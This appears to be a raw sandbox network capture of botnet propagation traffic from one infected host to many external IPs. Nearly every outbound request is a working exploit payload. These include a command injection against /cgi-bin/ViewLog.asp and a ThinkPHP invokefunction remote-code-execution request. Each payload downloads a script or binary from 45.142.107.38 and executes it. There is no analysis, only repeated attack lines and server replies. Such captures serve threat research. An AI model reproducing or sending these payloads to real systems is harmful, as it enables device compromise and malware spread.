Mar 4, 2024 15:05:35.370229959 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:05:36.281939030 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:05:36.451205969 CET	451	IN	HTTP/1.1 400 Bad Request Date: Mon, 04 Mar 2024 14:05:36 GMT Server: Apache/2.4.53 (Ubuntu) mod_fcgid/2.3.9 OpenSSL/1.1.1f Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.13	41024	94.123.65.224	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:35.413800955 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.13	42590	94.123.84.109	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:35.415607929 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.13	57024	112.124.55.210	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:35.577239990 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:05:36.770605087 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:05:37.169847012 CET	978	IN	HTTP/1.1 505 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 830 Date: Mon, 04 Mar 2024 14:05:37 GMT Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 35 30 35 20 e2 80 93 20 48 54 54 50 20 56 65 72 73 69 6f 6e 20 4e 6f 74 20 53 75 70 70 6f 72 74 65 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 68 31 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 7d 20 62 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 70 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 77 68 69 74 65 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 61 2e 6e 61 6d 65 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 35 30 35 20 e2 80 93 20 48 54 54 50 20 56 65 72 73 69 6f 6e 20 4e 6f 74 20 53 75 70 70 6f 72 74 65 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 505 HTTP Version Not Supported</title><style type="text/css">h1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} h2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} h3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} body {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} b {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} p {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;} a {color:black;} a.name {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 505 HTTP Version Not Supported</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.13	40514	112.168.176.223	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:36.466192007 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:05:40.599231958 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:05:46.743201017 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:05:58.775782108 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:24.631048918 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:13.783090115 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.13	33916	112.13.83.216	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:37.528997898 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:05:40.065848112 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:05:41.062736988 CET	481	IN	HTTP/1.1 400 Bad Request Server: Tengine Date: Mon, 04 Mar 2024 14:05:40 GMT Content-Type: text/html Content-Length: 249 Connection: close Via: cache6.cn5065[,0] Timing-Allow-Origin: * EagleId: 0000000017095611408914197e Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0d 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>400 Bad Request</h1><p>Your browser sent a request that this server could not understand.<hr/>Powered by Tengine</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.13	48596	31.136.96.112	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:38.762162924 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:05:41.879201889 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:05:48.023202896 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:00.055282116 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:24.631180048 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:13.783061981 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.13	46006	94.120.157.21	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:41.176816940 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.13	35534	94.66.77.187	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:41.395553112 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:05:42.071091890 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.13	44436	94.121.213.84	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:42.188746929 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.13	56970	94.121.106.245	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:42.407572985 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.13	33002	94.122.80.76	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:42.407649994 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:05:43.543126106 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:05:44.887115002 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:05:47.767201900 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:05:53.143134117 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
